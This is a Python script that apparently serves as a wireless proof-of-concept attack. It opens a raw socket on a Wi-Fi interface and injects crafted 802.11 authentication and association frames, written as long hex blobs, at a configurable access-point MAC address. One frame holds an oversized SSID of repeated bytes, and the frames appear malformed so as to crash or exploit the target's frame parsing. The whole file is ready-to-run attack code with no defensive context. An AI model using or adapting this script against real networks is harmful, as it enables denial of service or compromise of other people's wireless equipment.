#coding:UTF-8
import socket
import struct
import binascii
import time

############################### setting by yourself #################################
# netcard
IFACE = "wlp3s0"
# mac address
SOURCE_MAC = "e8b1fced860e"
#DESTINATION_MAC
DESTINATION_MAC = "fa633f0c5256"
# wifi name
#SSID = "xxxy"
############################### end #################################################



ETH_P_ALL = 3
s = socket.socket(socket.AF_PACKET, socket.SOCK_RAW, socket.htons(ETH_P_ALL))
s.settimeout(5)
s.bind((IFACE, ETH_P_ALL))

Authentication_request1 = binascii.a2b_hex("00000d00048002000200000000b0003a01") + binascii.a2b_hex(DESTINATION_MAC) + binascii.a2b_hex(SOURCE_MAC) + binascii.a2b_hex(DESTINATION_MAC) + binascii.a2b_hex("4000000001000000b410dc2efa633f0c5256e8b1fced860ed656cb37c40005f8fa633f0c525643811210d4006764fa633f0c525655a4e53da41011fa633f0c5256e8b1fced860e8732e76ce400e403fa633f0c5256e8b1fced860eac6dd5d8f400db78fa633f0c5256e8b1fced860eefa8fd9084103ce0fa633f0c5256e8b1fced860e6805b341fb49df1c9400cb1cfa633f0c5256e8b1fced860e006a4c5175ce24c83f81133d0e9b16e132d60b8d0974100dfafa633f0c5256640913a0ba1c64090dfafa633f0c5256e8b1fced860e98f69518c0b911e65223190664029104e8b1fced860efa633f0c52563c8cf8e308")
s.send(Authentication_request1)
Association_request1    = binascii.a2b_hex("00000d0004800200020000000000003a01") + binascii.a2b_hex(DESTINATION_MAC) + binascii.a2b_hex(SOURCE_MAC) + binascii.a2b_hex(DESTINATION_MAC) + binascii.a2b_hex("805325ec0a00003753535353535353535353535353535353535353535353535353535353535353535353535353535353535353535353535353535353535353010402040b16320200db2102807f240201ff30140100000fac040100000fac040100000fac0200002e0100dd0600409601ab8d2d1a0dac17ffffff00000000000000000000000000000000000000007f06001000000140aa0dffe8b1fced860e54325038acc92102807fbf0cffffffffffffffffffffffff5901006b0100c70175b4000e3cfa633f0c5256e8b1fced860ed13d932e")
s.send(Association_request1)
Authentication_request2 = binascii.a2b_hex("00000d00048002000200000000b0003a01") + binascii.a2b_hex(DESTINATION_MAC) + binascii.a2b_hex(SOURCE_MAC) + binascii.a2b_hex(DESTINATION_MAC) + binascii.a2b_hex("e054000001000000dd48004096048c58104a000110103b0001031049000600372a00012000012010b2000d1f222eef502de56334b24ca373104f000895ea755a340f9c501038000a748a6f1aff47730864ad9e2218020000fa633f0c525600000000000000000000ffffe8b1fced860e0100000fac04b400c0eafa633f0c5256e8b1fced860e60bad606c400f673fa633f0c5256f84a5ed0d4108c60fa633f0c52562177a826a41011fa633f0c5256e8b1fced860e09632cc1e400f54dfa633f0c5256e8b1fced860e1e817b55f4107422fa633f0c5256e8b1fced860ed3a120a28410fcb0fa633f0c5256e8b1fced860e7b0d730db0e26f20dedfacb2259b55734676c3d370a3f31a210df6ea12d69f4aaa8e8d29a12449a46c85c820b59a99ad92e0e660054ff151f8bbf6c882fa9410e69ffa633f0c5256e8b1fced860e006a316ce8b1fced860e7ec2606f08ebce5dd4691653f00f7400f08ffa633f0c5256640213a0ba1c6402edc1e8b1fced860efa633f0c525692c478d447")
s.send(Authentication_request2)
Association_request2    = binascii.a2b_hex("00000d0004800200020000000000003a01") + binascii.a2b_hex(DESTINATION_MAC) + binascii.a2b_hex(SOURCE_MAC) + binascii.a2b_hex(DESTINATION_MAC) + binascii.a2b_hex("3055bc090a0000067590788fd1f5010402040b16323700b76800b200dbd1a06ac8493cd2540dfd2a68c16f3ce585631c88528e0dc30007f605932e74d9c8ffef97b128ff46b5e00000ba718f9a2102807f240201ff30140100000fac040100000fac040100000fac0200002e0100dd06004096019b7d2d1aad4920ffffff00000000000000000000000000784700000000ff7f060010000001403b020101b410c6e9fa633f0c5256e8b1fced860e0986df64c4007cd4fa633f0c5256e4a212b7d40068e6fa633f0c5256a9c6263ea41011fa633f0c5256e8b1fced860e782309f9e4101eb2fa633f0c5256e8b1fced860ef5aac43af410982afa633f0c5256e8b1fced860eddfa5cb88400136cfa633f0c5256e8b1fced860e9c0b7b79cd9fb10a03dce7635240f2d21a4ad27a4158f7b94edfb4e7d5f48867fba73989cd6eebf593dfcc9a3e948c90bdc6327b912d9410796afa633f0c5256e8b1fced860e006a59d6e8b1fced860e23802c5c8260bf25408b4c7912067410da8afa633f0c5256d41013a0ba1cd410da8afa633f0c52561d904bcb64029c3de8b1fced860efa633f0c52563e306f9981")
s.send(Association_request2)
